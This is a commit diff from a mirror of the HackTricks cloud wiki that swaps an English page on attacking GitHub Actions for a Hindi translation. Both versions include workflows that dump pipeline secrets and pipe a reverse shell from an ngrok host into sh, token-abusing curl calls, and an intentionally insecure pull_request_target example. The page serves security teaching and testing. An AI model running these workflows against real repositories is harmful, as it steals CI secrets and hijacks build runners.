mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-25 20:34:33 -08:00
Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/
This commit is contained in:
Translator
@@ -4,389 +4,371 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
In this page you will find:
|
||||
इस पृष्ठ पर आपको मिलेगा:
|
||||
|
||||
- A **summary of all the impacts** of an attacker managing to access a Github Action
|
||||
- Different ways to **get access to an action**:
|
||||
- Having **permissions** to create the action
|
||||
- Abusing **pull request** related triggers
|
||||
- Abusing **other external access** techniques
|
||||
- **Pivoting** from an already compromised repo
|
||||
- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
|
||||
- एक **सारांश सभी प्रभावों का** जब एक हमलावर Github Action तक पहुँचने में सफल होता है
|
||||
- **एक्शन** तक पहुँचने के विभिन्न तरीके:
|
||||
- एक्शन बनाने के लिए **अनुमतियाँ** होना
|
||||
- **पुल अनुरोध** से संबंधित ट्रिगर्स का दुरुपयोग करना
|
||||
- **अन्य बाहरी पहुँच** तकनीकों का दुरुपयोग करना
|
||||
- पहले से समझौता किए गए रेपो से **पिवटिंग** करना
|
||||
- अंत में, एक अनुभाग **भीतर से एक्शन का दुरुपयोग करने के लिए पोस्ट-एक्सप्लॉइटेशन तकनीकों** के बारे में (उपरोक्त प्रभावों का कारण बनना)
|
||||
|
||||
## Impacts Summary
|
||||
|
||||
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
|
||||
[**Github Actions के बारे में मूल जानकारी**](../basic-github-information.md#github-actions) के लिए एक परिचय।
|
||||
|
||||
If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
|
||||
यदि आप **GitHub Actions में मनमाना कोड निष्पादित कर सकते हैं** एक **रेपो** के भीतर, तो आप सक्षम हो सकते हैं:
|
||||
|
||||
- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
|
||||
- **Compromise deployments** and other **artifacts**.
|
||||
- If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
|
||||
- **Execute code in custom workers** to abuse computing power and pivot to other systems.
|
||||
- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
|
||||
- **गुप्त जानकारी चुराना** जो पाइपलाइन में माउंट की गई है और **पाइपलाइन के विशेषाधिकारों का दुरुपयोग करना** ताकि AWS और GCP जैसे बाहरी प्लेटफार्मों तक अनधिकृत पहुँच प्राप्त कर सकें।
|
||||
- **डिप्लॉयमेंट्स और अन्य** **कलाकृतियों** का समझौता करना।
|
||||
- यदि पाइपलाइन संपत्तियों को तैनात या संग्रहीत करती है, तो आप अंतिम उत्पाद को बदल सकते हैं, जिससे एक सप्लाई चेन हमले की अनुमति मिलती है।
|
||||
- **कस्टम वर्कर्स में कोड निष्पादित करना** ताकि कंप्यूटिंग शक्ति का दुरुपयोग किया जा सके और अन्य सिस्टम पर पिवट किया जा सके।
|
||||
- `GITHUB_TOKEN` से संबंधित अनुमतियों के आधार पर **रेपो कोड को ओवरराइट करना**।
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
|
||||
यह "**गुप्त**" (जो `${{ secrets.GITHUB_TOKEN }}` और `${{ github.token }}` से आता है) तब दिया जाता है जब व्यवस्थापक इस विकल्प को सक्षम करता है:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
यह टोकन वही है जो एक **Github एप्लिकेशन उपयोग करेगा**, इसलिए यह समान एंडपॉइंट्स तक पहुँच सकता है: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
|
||||
> Github को एक [**फ्लो**](https://github.com/github/roadmap/issues/74) जारी करना चाहिए जो **क्रॉस-रेपो** पहुँच की अनुमति देता है, ताकि एक रेपो अन्य आंतरिक रेपो तक `GITHUB_TOKEN` का उपयोग करके पहुँच सके।
|
||||
|
||||
You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
आप इस टोकन की संभावित **अनुमतियों** को देख सकते हैं: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
|
||||
Note that the token **expires after the job has completed**.\
|
||||
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
ध्यान दें कि टोकन **काम पूरा होने के बाद समाप्त हो जाता है**।\
|
||||
ये टोकन इस तरह दिखते हैं: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
|
||||
Some interesting things you can do with this token:
|
||||
इस टोकन के साथ आप कुछ दिलचस्प चीजें कर सकते हैं:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Merge PR" }}
|
||||
|
||||
```bash
|
||||
# Merge PR
|
||||
curl -X PUT \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header "content-type: application/json" \
|
||||
-d "{\"commit_title\":\"commit_title\"}"
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header "content-type: application/json" \
|
||||
-d "{\"commit_title\":\"commit_title\"}"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="Approve PR" }}
|
||||
|
||||
{{#tab name="PR को मंजूरी दें" }}
|
||||
```bash
|
||||
# Approve a PR
|
||||
curl -X POST \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
-d '{"event":"APPROVE"}'
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
-d '{"event":"APPROVE"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="Create PR" }}
|
||||
|
||||
{{#tab name="PR बनाएं" }}
|
||||
```bash
|
||||
# Create a PR
|
||||
curl -X POST \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
|
||||
> ध्यान दें कि कई अवसरों पर आप **Github Actions envs या secrets के अंदर github उपयोगकर्ता टोकन पा सकते हैं**। ये टोकन आपको रिपॉजिटरी और संगठन पर अधिक विशेषाधिकार दे सकते हैं।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>List secrets in Github Action output</summary>
|
||||
|
||||
<summary>Github Action आउटपुट में secrets की सूची</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get reverse shell with secrets</summary>
|
||||
|
||||
<summary>गुप्तों के साथ रिवर्स शेल प्राप्त करें</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
|
||||
यह संभव है कि आप अन्य उपयोगकर्ताओं के रिपॉजिटरी में Github Token को दिए गए अनुमतियों की **लॉग्स** की जांच करके जांच कर सकें:
|
||||
|
||||
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
|
||||
|
||||
## Allowed Execution
|
||||
## अनुमत निष्पादन
|
||||
|
||||
> [!NOTE]
|
||||
> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
|
||||
> यह Github actions को समझौता करने का सबसे आसान तरीका होगा, क्योंकि इस मामले में यह मान लिया गया है कि आपके पास **संगठन में एक नया रिपॉजिटरी बनाने का अधिकार** है, या आपके पास **एक रिपॉजिटरी पर लिखने के अधिकार** हैं।
|
||||
>
|
||||
> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
|
||||
> यदि आप इस परिदृश्य में हैं, तो आप बस [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action) की जांच कर सकते हैं।
|
||||
|
||||
### Execution from Repo Creation
|
||||
### रिपॉजिटरी निर्माण से निष्पादन
|
||||
|
||||
In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
|
||||
यदि संगठन के सदस्य **नए रिपॉजिटरी बना सकते हैं** और आप github actions निष्पादित कर सकते हैं, तो आप **एक नया रिपॉजिटरी बना सकते हैं और संगठन स्तर पर सेट किए गए रहस्यों को चुरा सकते हैं**।
|
||||
|
||||
### Execution from a New Branch
|
||||
### नए शाखा से निष्पादन
|
||||
|
||||
If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
|
||||
|
||||
You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
|
||||
यदि आप **एक रिपॉजिटरी में एक नई शाखा बना सकते हैं जिसमें पहले से एक Github Action** कॉन्फ़िगर किया गया है, तो आप इसे **संशोधित** कर सकते हैं, **सामग्री अपलोड** कर सकते हैं, और फिर **नई शाखा से उस क्रिया को निष्पादित** कर सकते हैं। इस तरह आप **रिपॉजिटरी और संगठन स्तर के रहस्यों को निकाल सकते हैं** (लेकिन आपको यह जानना होगा कि उन्हें क्या कहा जाता है)।
|
||||
|
||||
आप संशोधित क्रिया को **हाथ से** निष्पादित कर सकते हैं, जब **PR बनाया जाता है** या जब **कुछ कोड पुश किया जाता है** (इस पर निर्भर करता है कि आप कितने शोर करना चाहते हैं):
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- master
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- master
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name
|
||||
# Use '**' instead of a branh name to trigger the action in all the cranches
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Forked Execution
|
||||
|
||||
> [!NOTE]
|
||||
> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
|
||||
> विभिन्न ट्रिगर्स हैं जो एक हमलावर को **दूसरे रिपॉजिटरी का Github Action निष्पादित करने** की अनुमति दे सकते हैं। यदि उन ट्रिगर करने योग्य क्रियाओं को खराब तरीके से कॉन्फ़िगर किया गया है, तो एक हमलावर उन्हें समझौता करने में सक्षम हो सकता है।
|
||||
|
||||
### `pull_request`
|
||||
|
||||
The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
|
||||
कार्यप्रवाह ट्रिगर **`pull_request`** हर बार कार्यप्रवाह को निष्पादित करेगा जब एक पुल अनुरोध प्राप्त होता है, कुछ अपवादों के साथ: डिफ़ॉल्ट रूप से यदि यह **पहली बार** है जब आप **सहयोग कर रहे हैं**, तो कुछ **रखरखावकर्ता** को कार्यप्रवाह के **निष्पादन** को **स्वीकृत** करने की आवश्यकता होगी:
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
|
||||
> चूंकि **डिफ़ॉल्ट सीमा** **पहली बार** योगदानकर्ताओं के लिए है, आप **एक मान्य बग/टाइपो को ठीक करने** में योगदान कर सकते हैं और फिर **अपने नए `pull_request` विशेषाधिकारों का दुरुपयोग करने के लिए अन्य PR भेज सकते हैं**।
|
||||
>
|
||||
> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
|
||||
> **मैंने इसका परीक्षण किया और यह काम नहीं करता**: ~~एक और विकल्प होगा किसी ऐसे व्यक्ति का नाम लेकर एक खाता बनाना जिसने परियोजना में योगदान दिया और उसका खाता हटा दिया।~~
|
||||
|
||||
Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
इसके अलावा, डिफ़ॉल्ट रूप से **लिखने की अनुमति** और **गुप्त पहुंच** को लक्षित रिपॉजिटरी में रोकता है जैसा कि [**दस्तावेज़**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) में उल्लेख किया गया है:
|
||||
|
||||
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
|
||||
> `GITHUB_TOKEN` को छोड़कर, **गुप्त को रनर को नहीं भेजा जाता** जब कार्यप्रवाह एक **फोर्क की गई** रिपॉजिटरी से ट्रिगर किया जाता है। **`GITHUB_TOKEN` में पुल अनुरोधों में **पढ़ने की केवल अनुमति** होती है **फोर्क की गई रिपॉजिटरी** से।
|
||||
|
||||
An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
|
||||
एक हमलावर Github Action की परिभाषा को संशोधित कर सकता है ताकि मनमाने चीजें निष्पादित की जा सकें और मनमाने कार्यों को जोड़ा जा सके। हालाँकि, वह गुप्त चुराने या रिपॉजिटरी को ओवरराइट करने में सक्षम नहीं होगा क्योंकि उल्लेखित सीमाएँ हैं।
|
||||
|
||||
> [!CAUTION]
|
||||
> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
|
||||
> **हाँ, यदि हमलावर PR में उस github action को बदलता है जो ट्रिगर किया जाएगा, तो उसका Github Action उपयोग किया जाएगा और मूल रिपॉजिटरी का नहीं!**
|
||||
|
||||
As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
|
||||
चूंकि हमलावर द्वारा निष्पादित कोड पर भी नियंत्रण होता है, भले ही `GITHUB_TOKEN` पर गुप्त या लिखने की अनुमति न हो, एक हमलावर उदाहरण के लिए **दुष्ट कलाकृतियाँ अपलोड** कर सकता है।
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
|
||||
कार्यप्रवाह ट्रिगर **`pull_request_target`** को लक्षित रिपॉजिटरी में **लिखने की अनुमति** और **गुप्तों तक पहुंच** होती है (और अनुमति नहीं मांगता)।
|
||||
|
||||
Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
ध्यान दें कि कार्यप्रवाह ट्रिगर **`pull_request_target`** **बेस संदर्भ में चलता है** और PR द्वारा दिए गए संदर्भ में नहीं (ताकि **अविश्वसनीय कोड निष्पादित न हो**)। `pull_request_target` के बारे में अधिक जानकारी के लिए [**दस्तावेज़ देखें**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)।\
|
||||
इसके अलावा, इस विशिष्ट खतरनाक उपयोग के बारे में अधिक जानकारी के लिए इस [**गिटहब ब्लॉग पोस्ट**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) की जांच करें।
|
||||
|
||||
It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
|
||||
यह लग सकता है कि क्योंकि **निष्पादित कार्यप्रवाह** वह है जो **बेस** में परिभाषित है और **PR** में नहीं है, यह **सुरक्षित** है **`pull_request_target`** का उपयोग करना, लेकिन कुछ **केस हैं जहाँ यह नहीं है**।
|
||||
|
||||
An this one will have **access to secrets**.
|
||||
और यह एक **गुप्तों तक पहुंच** होगी।
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
|
||||
|
||||
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
|
||||
[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) ट्रिगर एक कार्यप्रवाह को एक अलग कार्यप्रवाह से चलाने की अनुमति देता है जब यह `पूर्ण`, `अनुरोधित` या `प्रगति में` हो।
|
||||
|
||||
इस उदाहरण में, एक कार्यप्रवाह को अलग "टेस्ट चलाएँ" कार्यप्रवाह के पूरा होने के बाद चलाने के लिए कॉन्फ़िगर किया गया है:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
workflow_run:
|
||||
workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
|
||||
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
|
||||
|
||||
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
|
||||
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
|
||||
इस प्रकार का वर्कफ़्लो हमला किया जा सकता है यदि यह एक **वर्कफ़्लो** पर **निर्भर** है जिसे एक बाहरी उपयोगकर्ता द्वारा **`pull_request`** या **`pull_request_target`** के माध्यम से **प्रेरित** किया जा सकता है। कुछ कमजोर उदाहरण [**इस ब्लॉग में पाया जा सकता है**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** पहला उदाहरण **`workflow_run`** द्वारा प्रेरित वर्कफ़्लो है जो हमलावर के कोड को डाउनलोड करता है: `${{ github.event.pull_request.head.sha }}`\
|
||||
दूसरा उदाहरण **`workflow_run`** वर्कफ़्लो में **अविश्वसनीय** कोड से एक **कलाकृति** को **पास** करने और इस कलाकृति की सामग्री का उपयोग करने पर आधारित है, जिससे यह **RCE के लिए कमजोर** हो जाता है।
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
TODO
|
||||
|
||||
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
|
||||
TODO: जांचें कि जब इसे pull_request से निष्पादित किया जाता है तो उपयोग किया गया/डाउनलोड किया गया कोड मूल से है या फोर्क किए गए PR से
|
||||
|
||||
## Abusing Forked Execution
|
||||
## फोर्क किए गए निष्पादन का दुरुपयोग
|
||||
|
||||
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
|
||||
हमने सभी तरीकों का उल्लेख किया है जिनसे एक बाहरी हमलावर एक गिटहब वर्कफ़्लो को निष्पादित करने में सक्षम हो सकता है, अब आइए देखें कि यदि ये निष्पादन, यदि गलत तरीके से कॉन्फ़िगर किए गए हैं, तो कैसे दुरुपयोग किया जा सकता है:
|
||||
|
||||
### Untrusted checkout execution
|
||||
### अविश्वसनीय चेकआउट निष्पादन
|
||||
|
||||
In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
|
||||
**`pull_request`** के मामले में, वर्कफ़्लो **PR के संदर्भ में** निष्पादित होगा (इसलिए यह **दुष्ट PR का कोड** निष्पादित करेगा), लेकिन किसी को इसे **पहले अधिकृत** करना होगा और यह कुछ [सीमाओं](./#pull_request) के साथ चलेगा।
|
||||
|
||||
In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
|
||||
यदि एक वर्कफ़्लो **`pull_request_target` या `workflow_run`** का उपयोग कर रहा है जो एक वर्कफ़्लो पर निर्भर है जिसे **`pull_request_target` या `pull_request`** से प्रेरित किया जा सकता है, तो मूल रेपो का कोड निष्पादित होगा, इसलिए **हमलावर निष्पादित कोड को नियंत्रित नहीं कर सकता**।
|
||||
|
||||
> [!CAUTION]
|
||||
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
|
||||
> हालाँकि, यदि **एक्शन** में एक **स्पष्ट PR चेकआउट** है जो **PR से कोड प्राप्त करेगा** (और आधार से नहीं), तो यह हमलावर के नियंत्रित कोड का उपयोग करेगा। उदाहरण के लिए (लाइन 12 देखें जहां PR कोड डाउनलोड किया गया है):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
|
||||
on:
|
||||
pull_request_target
|
||||
pull_request_target
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: Build and test
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
build:
|
||||
name: Build and test
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
<strong> - uses: actions/checkout@v2
|
||||
</strong><strong> with:
|
||||
</strong><strong> ref: ${{ github.event.pull_request.head.sha }}
|
||||
</strong>
|
||||
- uses: actions/setup-node@v1
|
||||
- run: |
|
||||
npm install
|
||||
npm build
|
||||
- uses: actions/setup-node@v1
|
||||
- run: |
|
||||
npm install
|
||||
npm build
|
||||
|
||||
- uses: completely/fakeaction@v2
|
||||
with:
|
||||
arg1: ${{ secrets.supersecret }}
|
||||
- uses: completely/fakeaction@v2
|
||||
with:
|
||||
arg1: ${{ secrets.supersecret }}
|
||||
|
||||
- uses: fakerepo/comment-on-pr@v1
|
||||
with:
|
||||
message: |
|
||||
Thank you!
|
||||
- uses: fakerepo/comment-on-pr@v1
|
||||
with:
|
||||
message: |
|
||||
Thank you!
|
||||
</code></pre>
|
||||
|
||||
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
|
||||
संभावित रूप से **अविश्वसनीय कोड `npm install` या `npm build` के दौरान चलाया जा रहा है** क्योंकि निर्माण स्क्रिप्ट और संदर्भित **पैकेज PR के लेखक द्वारा नियंत्रित हैं**।
|
||||
|
||||
> [!WARNING]
|
||||
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
|
||||
> कमजोर एक्शन की खोज के लिए एक गिटहब डॉर्क है: `event.pull_request pull_request_target extension:yml` हालाँकि, भले ही एक्शन को असुरक्षित रूप से कॉन्फ़िगर किया गया हो, फिर भी कार्यों को सुरक्षित रूप से निष्पादित करने के लिए विभिन्न तरीके हैं (जैसे कि यह देखने के लिए कि PR उत्पन्न करने वाला अभिनेता कौन है)।
|
||||
|
||||
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
### संदर्भ स्क्रिप्ट इंजेक्शन <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
|
||||
ध्यान दें कि कुछ [**गिटहब संदर्भ**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) हैं जिनके मान **उपयोगकर्ता** द्वारा नियंत्रित होते हैं जो PR बना रहा है। यदि गिटहब एक्शन उस **डेटा का उपयोग करके कुछ निष्पादित कर रहा है**, तो यह **मनमाने कोड निष्पादन** की ओर ले जा सकता है:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-context-script-injections.md
|
||||
{{#endref}}
|
||||
|
||||
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
### **GITHUB_ENV स्क्रिप्ट इंजेक्शन** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
|
||||
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
|
||||
दस्तावेज़ों के अनुसार: आप एक वर्कफ़्लो नौकरी में किसी भी बाद के चरणों के लिए एक **पर्यावरण चर उपलब्ध** करा सकते हैं, इसे परिभाषित या अपडेट करके और इसे **`GITHUB_ENV`** पर्यावरण फ़ाइल में लिखकर।
|
||||
|
||||
If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
|
||||
